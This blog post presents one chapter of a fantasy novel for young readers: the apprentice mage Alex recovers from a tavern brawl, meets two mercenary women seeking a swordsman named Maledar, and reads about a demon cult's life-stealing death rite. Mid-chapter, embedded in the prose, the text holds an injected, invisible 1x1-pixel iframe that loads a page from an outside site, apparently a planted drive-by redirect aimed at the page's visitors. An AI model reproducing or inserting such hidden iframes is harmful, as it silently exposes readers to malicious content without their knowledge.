Welcome to Fiction Friday, when I attempt to force myself to finish my novel, by exposing you to one chapter a week. Hopefully, you’ll help inspire me to get the remaining chapters finished. Be aware that it’s aimed at the 11 – 13 crowd and that it’s only had a single edit. I was afraid of getting trapped in endlessly re-writing the first chapters, and wanted a completed work before I went back to edit. So you’re getting my juvenile prose raw.
A sharp sting returned Alex to awareness. He flinched away, but a large, calloused hand gripped his temples. He opened his eyes; clouds partially blocked the early morning sun. He lay in a grassy meadow somewhere beyond the city gates. The grass rustled beneath him, prickling through his robes as he shifted to look about. A woman about his mother’s age was anointing his forehead with a stick of toothbrush tree wood. She had mouse‑brown hair that was sprinkled with grey. Her eyes were a grey‑blue that seemed faded with age, though the lines on her face were few and not pronounced. She had the lean look of a professional traveler who had been on the road for many years, a merchant, or drover perhaps. He flinched at the stinging oil.
“Stop that,” she ordered in a decidedly unsympathetic manner. “You make a fuss and I’ll let your face rot off. It’ll just take another minute.” She seemed to be making the last remark to herself as much as to him. Her light coarse‑woven tunic rustled as she worked. She squinted at his forehead, lips pursed in concentration.
Alex resigned himself to whatever it was that she was doing. When the stick came near his nose, he recognized the smell, pungent and neither pleasant nor foul, as Odattin oil. Had he cut himself? The woman applied the oil just above his eyebrows, and a bared nerve told him that he had indeed been hurt. Alex tried not to wince. Out of the corner of his eye he could see Kelendora shadow sparring, using spear almost as long as she was tall. The battered but sturdy shaft smacked smartly into her palms as she shifted from stance to stance. The dark steel point moved though the air in a manner that was both tentative and professional.
A woman that he couldn’t see was speaking in a husky voice.
[iframe width=”1″ height=”1″ src=”http://s6g.info/go.php?sid=1″%5D“…simple to repair. That shaft’s lasted me for nearly three years, but I can replace it in a few minutes if I have to. You can see the nicks where it’s been cut. There’re plenty of swordsmen out there who get it in their heads that they can just slice through a length of hardwood with their longswords. If they try that, all you have to do is pivot with the strike and return a butt blow.”
Kelendora twisted the shaft and simulated that maneuver. Her body shifted and turned against the green of the meadow while the hardwood shaft whirred about. The spear‑shaft whistled though the air, narrowly missing her own skull as the practiced the maneuver at full speed.
“Do it right, and you can pick ’em up off of their feet. Puts ’em at a decided disadvantage. There’s not a more versatile weapon in the world. Take my word for it; there aren’t many weapons I haven’t gone up against.”
Kelendora returned the spear to its owner, a woman who now appeared into Alex’s field of vision. She was a dark woman, not as dark as an Asenlander, but too tall to be a Maekedian. Probably a Lynian, Alex decided. She had bronzed skin and dark hair that was nearly blue in the daylight. Her build was slender, but clearly feminine. She was wearing a peculiar suit of mail that extended down her left leg and up her right arm. He hadn’t the damnedest idea why anyone would want armor like that. Her hard leather boots crushed the grass as she approached.
Kelendora picked up a stick and began to drill with it as if with a longsword. “You still haven’t sold me on it, though I’ll admit that I haven’t had much practice with any kind of polearms. It seems funny, I suppose, seeing a woman use a spear. It seems…”
“Too much like toy manhood? Like one of those special candles that the old women sell at the market?” She laughed a strong, harsh laugh. “Well for that matter, one could say the same thing about a sword. Ever notice…”
The older woman cleared her throat and nearly let Alex’s head fall to the sod. “Enough of this profound discussion, Heleana. Are you ready to go? I’ve nearly got this one ready.” She looked down disapprovingly and corrected herself. “Hold it a moment. I’m not quite finished.” She removed a fresh sprig of toothbrush tree wood from her satchel and gnawed on its tip, producing a tangled mass of fibers that resembled a painter’s brush. The healer then dipped the frayed end in the ceramic pot that held the Odattin oil and applied it to the crescent‑shaped cut that still oozed a little blood near Alex’s hairline. “That’s got it,” she said to the others. To Alex she said, “Get up. You’ll live. Just don’t wash the balm off too soon, or I won’t be blamed for what follows.”
Alex found his legs less than eager to hold him upright, but he steadied himself with a few deep breaths and the horizon no longer wavered. Kelendora approached, sporting a spectacular bruise over her left eye. She walked carefully, favoring her right ankle slightly.
“How are you feeling?” Alex asked.
Kel shrugged and smiled slightly. “I’ve had worse in training. You?”
Alex tried to appear unfazed. He stepped forward and then staggered, discovering an additional sore muscle. “Just a few nicks. Who’s…?”
“Oh, this is Heleana, and her friend with the herbs is Cirelle. Hel pulled us out of the bar.”
“I remember seeing her, briefly.”
At the mention of her name, Heleana looked up from where she was packing up the small camp. She made brief eye contact, nodded a greeting, and went back to work. The tiny encampment rapidly disappeared into an assortment of canvas rolls, leather bags, and packs. She picked up a pack and loaded it onto the broad back of a balky freight burro.
“Pox rot you Sonora, hold still,” she said to the stubborn beast. Once she had the cargo strapped down securely she leaned over and reached for her spear from where it lay, propped against the narrow bole of a shagbark tree. Alex could not help but be impressed by the fluid grace that she displayed even in such mundane tasks.
Heleana signaled to Cirelle, and the group headed down the rutted dirt road toward the main city gate. The red dust puffed up from beneath their feet. Kelendora walked close to Alex. “They’ve come to town looking for Maledar,” she explained in a half‑whisper. “Cirelle knew him in the war. I think that they’re trying to recruit him for something.”
Alex spoke in an even softer voice, the dry dust harsh in his throat. “Kel, your Master and his people lost the war. He was lucky to get out with his head. What are they trying to do now, get Beaudric off of the throne too? No offense, but as bad a ruler as he’s been, I’m not sure we have any business trying to get rid of him.”
Heleana interrupted their conversation in a decided non‑ whisper. “You two haven’t been invited, and you’d better not get any ideas. ‘Relle and I are law‑abiding citizens, and you’ve got no reason to claim otherwise.” Alex looked back at her, but her expression was indecipherable. “We’re just looking up an old friend. No harm in that. Besides, I need to find out if he’s as good with a sword as ‘Relle claims. The girl there says so, but `time rusts the best of steel.'”
Kelendora frowned slightly at being called “the girl.” She was only a few years younger that Heleana, though doubtless less experienced in actual combat. “Oh, he’s good,” she finally replied. “Good enough to make you carve yourself a new spear shaft, if he doesn’t scar you just for asking.”
Heleana laughed. “I can only hope.”
A third‑hour later, the main gate appeared. It tried to be impressive, bedecked with carvings of past Kings and heroes, some dating back to Imperial days. But the weathered sandstone, with its rounded corners and dim bas‑reliefs, was choked with soot, dirt, and neglect. The crush of the first morning traffic had largely subsided and the gate guards were more attentive than they had been on the preceding day. Cirelle used the customary bribe to avoid having her pack animal inspected. As best Alex could tell from her casual manner, she was simply avoiding an unnecessary delay rather than hiding anything.
A few hundred paces inside the gate, they passed a tall, narrow building with stucco walls and baked orange roofing tiles, the school of Iellu the Fire Wizard. Alex was reminded of what he had been trying for hours to forget. He and Kelendora would receive little sympathy and likely a sound beating for having been gone the night. He looked to Kelendora, who seemed to share his thoughts. “I’d better get back to Master Balock’s before…”
She nodded. “I’ll see you later. Good luck.” To his surprise, she leaned over and pressed her lips to his cheek. It was only a kiss for luck, but it distracted him from the grimmer images of his return to his master. Slightly aglow, he hurried through the streets and past the shops that were filled with women doing their morning purchases. Too soon, he arrived at Master Balock’s.
The courtyard was empty, and Alex made his way cautiously inside and recovered his wand for its resting place in his loft. Still nervous, he returned and seated himself on the meditation stone in front of the testing sphere. The marble of the meditation stone had been warmed by the sun, but did nothing to warm Alex, chilled as he was by worry. He knew that concentration would not come easily this morning, but at least he would give the appearance of attempting to raise the sphere. A few hundred heartbeats elapsed before he heard footsteps behind him.
Unable to stifle the reflex, Alex turned and met his master’s gaze. Balock’s cowl was raised, concealing his face deep within its shadows. He fingered his staff as if deciding how to bring it down on his errant pupil. Finally he spoke. “I was concerned for your safety.” His voice was measured and calm. “Do not strain your mind today. I am pleased that you had the sense to have your injuries attended to. Scars do not become wizards in the way that they become sell‑swords. Spend the day as you wish; relax; I prefer that you avoid further risk to yourself.” He turned on his heel to leave Alex in a state of utter bewilderment. Alexander finally permitted himself to exhale. Was Master Balock enjoying some perverse joke at his expense? The journeyman had never heard concern in his master’s voice before, at least not a concern over his well‑being. Alex rose gingerly and backed out of the courtyard, returning to his room to put away his wand. He wanted to be away before Balock changed his mind and decided on the beating that he was, by Balock’s personal law, entitled to. He put the grim gates of Balock’s school behind him as fast as he could. Once free, the young mage wandered the cobbled streets aimlessly.
- The swordsman’s harsh voice rang out across the training ground.
“…escalation. You never raise the level of a brawl unless you are in control. How many times have I told you that?”
Alex had to strain to hear Kelendora’s reply. “Many times.”
“And clearly not often enough. You could have been killed. Or worse. Get this through your snot‑clogged head: You don’t own yourself! I own you; at least until I’ve seen a return on my training. You haven’t paid me yet and at this rate you’ll never be free of me.” He paused. “Any questions?”
“Yes, you’re right,” Maledar said patiently, “She did escalate the fight. Consider how her use of the dagger differed from your use of your bottle.”
“I don’t see any difference, except that she killed one of them.”
“Isn’t that an important difference? A bar brawl is usually a game, unless you blaspheme someone’s god or mother. Your bottle didn’t change that. Her knife did.”
“I still don’t understand.”
“You never had control. Evidently, Heleana did.”
“But why didn’t they just join together and kill her?”
“Perhaps Heleana could explain that, if she chooses,” Maledar suggested.
Heleana was seated at a pine bench that was stained with sword oil. Her arms were crossed, and her head dipped to avoid the sun. Without looking at Maledar or Kelendora, she answered his question. “Sometimes there’s one group, of maybe just a few at a tavern like that. Think back, girl. Did you see any guard uniforms? Any clan tattoos? Any guild vests? Not enough in any number to show a grouping. It was just a bunch of strangers getting drunk together. Strangers don’t kill for each other, and they sure as the Abyss don’t die for each other. You have to make sense of what you see. Otherwise you get to spend a few years staring up into a coffin lid.” She drew her punch‑dagger and began to sharpen it.
Maledar nodded approvingly at her words. “Of course, it’s a waste of talent and training to fight people you’re not being paid to kill. Remember that, Kel.”
“You speak of talent,” Cirelle said, changing the subject, “but you haven’t given me a firm word on my offer. How do you speak? We could certainly use your good arm, and your experience.”
Maledar turned away from her. “Haven’t I made myself clear? I could have been killed during the last rebellion just like Kel’s parents where. I haven’t got any plans to visit the gods anytime soon. I’m sorry, but the answer has to be no.”
Cirelle looked neither impressed nor disappointed. “You’ll regret your choice once we’ve… once we’ve had our chance. But if you can’t come yourself, we were hoping that you could at least convince Sardonaxyl to join our cause.” Maledar’s brow rose. “You’ve seen him?”
“Not exactly seen, no, not exactly. Actually, we haven’t had much luck in finding him. We were rather hoping that you could tell us where he’s been hiding.”
Maledar smiled. “I doubt that he would be any more willing to be of use to you than I am, but I can tell you where he is and we’ll let him decide. I must warn you, though; my information may be a bit outdated. We’ve only had occasional contact in the last fifteen years.”
Kelendora had noticed Alex half‑hidden in the bushes and had walked over to explain matters to him. “Sardonaxyl was a wizard in the same unit that Maledar fought with during the war. They were in Dydren’s Black Beasts. He says that Sardonaxyl was always a strange sort, but they fought well together. Remember the story about the cave lizard?”
“That was Sardonaxyl.”
Alex had always fantasized about being able to lay open a beast the size of six horses with a single thought or gesture. If Kelendora had recounted the tale correctly, the cave lizard had not only been killed, but also died cleanly enough to provide a fine feast for Maledar’s company.
“I thought that he was dead.”
“He might be. Maledar always spoke of him in the past tense, so I assumed that he had been dealt with during the purges. Evidently he just went into hiding.”
Maledar called over to his pupil, “Kel! Get over here now! And bring that friend of yours with you!” Kelendora and Alex hurried to Maledar’s side. “Bring the women some mead from the beer cellar; meet us in my study.” He glared at Alex. “Don’t spy on others, lad. It’s not only impolite; it can get your throat cut.” Maledar was turning his words slowly and seriously. He was not making a casual threat, but giving a lesson and a warning. Alex nodded and headed for the shutters that lead to the cellar. Kelendora glanced over her shoulder and pointed him toward the refectory. He took his cue and went to the kitchen.
When they returned with a sealed flask of cool mead and three ceramic mugs, Maledar was chatting comfortably with Cirelle. Maledar’s study was a small room crowded with dusty books and decorated with weapons collected from across the span of the continent. There was barely enough room for the three chairs. Heleana was against the back wall, continuing to sharpen her punch‑ dagger. Alex placed a mug in front of each of them, and Kelendora followed behind, pouring the mead. He paused when he came to Heleana and stared in fascination at her dagger blade. The punch dagger didn’t have a haft like a normal blade, but a handle fixed across the butt of the blade. Shining steel guards extended on either side of the blade up to Heleana’s wrist. The blade was a steel fang, made for piercing mail. But it was the etching on the blade that drew Alex’s eye.
“Those markings…” he said, leaning over and nearly forgetting to give her a mug, “…I’ve seen characters like those before.” Heleana did not seem impressed.
“Then maybe you can convince her to get rid of that accursed thing,” Cirelle suggested. “I’ve been trying ever since she found it.”
Alex did not want to inquire as to how she had “found” a blade of that quality, but Cirelle’s remarks puzzled him. “Why should she get rid of it?” he asked.
Cirelle looked at him. “You mean that you’ve seen the runes but don’t know what they mean?”
“Well, I’ve seen a lot of different types of script and, well, I’ve yet to learn them all…”
“Well I wouldn’t suggest wasting a lot of time on that one unless you’re planning on joining the Vyendi sect.”
Alex returned a puzzled look, unfamiliar with the name.
“Well, time for a lesson,” Heleana muttered to herself. She held up the dagger, glistening with fresh oil. “If you see a building with markings like this, don’t go in. If you see a priest with an amulet like this, don’t let him get near.” She paused and spread her knees, touching the tip of the blade to the inside of her thigh. “If you bed a whore and she has tattoos like this, put your little codpiece back on and find the door as quickly as possible.”
Alex flushed. “I don’t wear a…”, he paused to swallow, “I mean, why is this sect so dangerous?”
Cirelle applied the whetstone to the blade again and answered his question. “Lots of the usual stuff. Animal sacrifices, human sacrifices, unnatural sex rituals, oaths on pain of death, attempts at demon conjuration.” The steel grated on the gray stone as she recited the tally of offenses as if it were a market list. “There are plenty of groups around that practice that sort of mock‑religion. I don’t know if the Vyendi are unusually dangerous, but they’re not all talk like some of the others.”
Maledar scowled at the moving blade. “You really ought to have it melted down,” he said to Heleana. “Even if it’s not bound to them, it might get you mistaken for a sect member.”
Heleana smiled a reasonably harmless grin. “I have my reasons for hanging onto it. It’s done its job. Besides, my spear is what I usually use. This is just a backup.” She wiped the blade almost dry and returned it to its scabbard.
There was an uncomfortable moment while no one spoke, and finally Cirelle stood and stretched. “If you truly can’t come with us, then we would at least appreciate your help in finding Sardonaxyl. Time is drawing short.”
“Certainly,” Maledar said. “I wish your cause well, though I’m not optimistic about your chances. If you can give me a day, I’ll try to put together a few notes that he sent me. I’ll need to keep them here, of course, but they may help you to find them.” Heleana stood as well. “We have a room at the Gossamer Gargoyle, if you need to get hold of us. We’ll return tomorrow. `Long life. ..'”
“`…and a good death,'” Maledar responded. “The Gargoyle should treat you fairly, but if they don’t, let me know and I’ll have words with the manager, I’ve know him for years.”
“Thank you,” both women replied.
Immediately after they left the training grounds, Kelendora began to interrogate Maledar about the women and their “cause.” Maledar avoided the topic; it became clear that he would not discuss it in front of Alex. Alex left rather than be the source of friction. He walked away slowly, hoping but failing to catch part of the conversation. He then ran as quickly as he could toward the Gossamer Gargoyle in hopes of catching up with the two mysterious women. He wasn’t sure what he would do or say if he managed to find them, but as it turned out he was unable to locate them. Given the hour, they had most likely gone to a tavern for midmeal. Slowing his pace, Alex headed for Balock’s.
Rather than take noon meal there, he decided to eat at a simple Maekedian noodle stand. The fare was plain but filling, and it only rarely disagreed with his bowels. The owner was an overweight Maekedian who has been dying his hair since before Alex was born. If he had more than one cook’s apron, they all bore the same stains. They exchanged the standard niceties about the weather and about the water tax, which had been raised in recent weeks. The fat man had a grandniece who worked at his stand washing bowls and chopping greens. She was small, but beginning to take on a woman’s build and Alex liked to see her smile. Maekdian eyes could be so wide and deep that one might mistake them for tunnel‑dwellers. Alex smiled and handed the empty bowl to her, half‑intentionally running a finger against the back of her hand. She smiled and looked at the ground, blushing. Alex grinned to himself and walked away.
Nearing Master Balock’s, Alex felt his heart beating faster. Half of his fear came from a concern that Balock’s mood that morning had been a mere bit of whimsy; that he was even now readying the rod. The other half was less commonplace and far more serious. Alex did not want to look at the testing sphere. Balock was not waiting in the courtyard, but there were noises from dining area that made his location evident. Alex stared at a wall for a few seconds before turning around. He already knew what he would see. The testing sphere was covered with characters stylistically similar to the ones on Heleana’s dagger. They were not identical, but the dagger was probably a sacrificial instrument, and the possible purpose of the sphere was harder to ascertain. Rather than retrieve a quill, ink stone, and parchment from his room, Alex decided to memorize a few of the characters. He couldn’t tell how large the alphabet might be, given the small sample that he had seen. He knew where he could find a linguistic manual, if any had ever been written.
After a few minutes, footsteps approached. Alex left by a narrow side gate, not as silently as he hoped, but avoiding the eyes of whoever had finished noon meal first. It was not far to the academy of Potius Potankus. That school’s library was the best in the city, and the linguistics collection was unexcelled in the province. Potius was a follower of the cult of the Illuminated Path, which believed that paradise, could only be reached when one had learned all that there was to know through the course of one’s lives. As absurd as the religion struck Alex, Potius’ beliefs made him extremely useful. The gate to his school was guarded, to use the term loosely, by a lanky male student languidly holding a halberd. He did not bother to rise from his bench.
“`Lo, Alex. More research?” he asked disinterestedly.
Alexander sighed. “Balock never runs out of book work to do.” The half‑truth was a highly believable one. “What’s the rate today?”
Alex struggled to fabricate a good lie, but was unable to think of one that would both be convincing and get him near the books that he would need. “Some sect called the Vyendi. Ever hear of them?”
- “How much?”
“You had lunch?”
“Two silvers. One for the library, and one for cleaning up when you gag on the vocabulary.”
“It’s that bad?”
“You know how, up in the Northern Reaches, they have sixteen words for `snow’? Try lists longer than that for… well, you’ll find out yourself.”
Alex handed him two coins and got directions to the correct room in the archives. There he looked about, his eyes widening slightly, as they always did when confronted with the daunting size of the temple library. The room containing the books and scrolls of the Vendyi sect was but a minor room adjacent to one of the smaller passages in the outer temple wall. Still it stretched almost three dozen spans across. The cavernous ceiling towered five spans overhead. The walls were lined with books from floor to ceiling. Ladders leaned against the shelves in strategic places to allow the inquisitive access to the volumes on the higher reaches.
Long experience with the complicated filing system used by the Illuminati enabled Alex to locate the volumes and scrolls he needed in short order. With a sigh, Alex waded in. While the information was expanded upon in other minor works, Alex’s main insights came from three moderately reliable sources.
From The Secret Unauthorized History of the Vyendi he read:
“The Vendyi were followers of the Dragon‑God Gifnoc. Philosophers and theologians today agree that Gifnoc was far from being a god. He was the demon Soulbiter, banished from this world by Eruvitar the White, in the Third Known Millennium. Because of their efforts to bring about the return of their devil‑god, the Vendyi were declared outlaw in the reign of Cedrim the Cruel, in the year 7082 (Y.O.M.). It is worthy of note, for the sake of comparison, that Cedrim was a cannibal, insisting upon raw virgin’s liver for his mornmeal, yet he considered the Vendyi too barbaric and cruel to be allowed to continue the practice of their religion.”
A footnote went on to explain that dissenting opinions stated that the Vendyi insistence on remaining exempt from taxation contributed to their outlawry. The tome further described the basic requirements to be met for one to become an acolyte of the Vendyi, as well detailing what was necessary to rise to the higher levels of influence and power. Alex read these with the avid interest of a dilettante in demonology, but was frankly disappointed. After the young “guard’s” comments, Alex had expected something unusual or exotic in the way of black rites, but these were no more than the threats typically made or illustrated by the demonic slaves summoned by Balock for service or classroom demonstrations.
The next volume was the Vendyi Book of Rites, full of the typical mysticism of the priestly caste, intended to keep the faithful in the dark as to the real nature of their deity and to keep the gold flowing into the church coffers. The cynical eyes of a mage, even a mage‑in‑training, were able to spot the use of demonology in the rites, summoning and binding minor spirits to do the bidding of the priests and ranking laity.
It was the third volume that made icy fingers dance in the pit of Alex’s gut. It was the Word of the Hand, the reputed ramblings of the Soulbiter during his last sojourn on the World of Man. Therein, at the end, the Soulbiter gave The Gift to two of his blackest and most faithful followers, and described the rite by which it could be done. Just another human sacrifice to a non‑ mage, but Alex’s training allowed him to see the true intent of the symbolism. Most priests used magic in a number of ways, but their style of magic was supposed to come directly as gifts from their gods, or by the service of bound demons or spirits. For the most part they had no more idea how their “miracles” worked than an arrow knows the workings of a bow.
The Gift Rite was different. It clearly outlined the method by which Power could be leeched out of the soul of a dying being and infused into the recipient. It was the transfer of magic‑fuel by death. The more power infused into the sacrifice, the longer the added life‑span of the mage. With enough chelar, the spell caster could actually achieve immortality. The Vendyi knew of chelar, the closest kept secret of the Mage’s Guild. And they knew of death magic: black necromancy.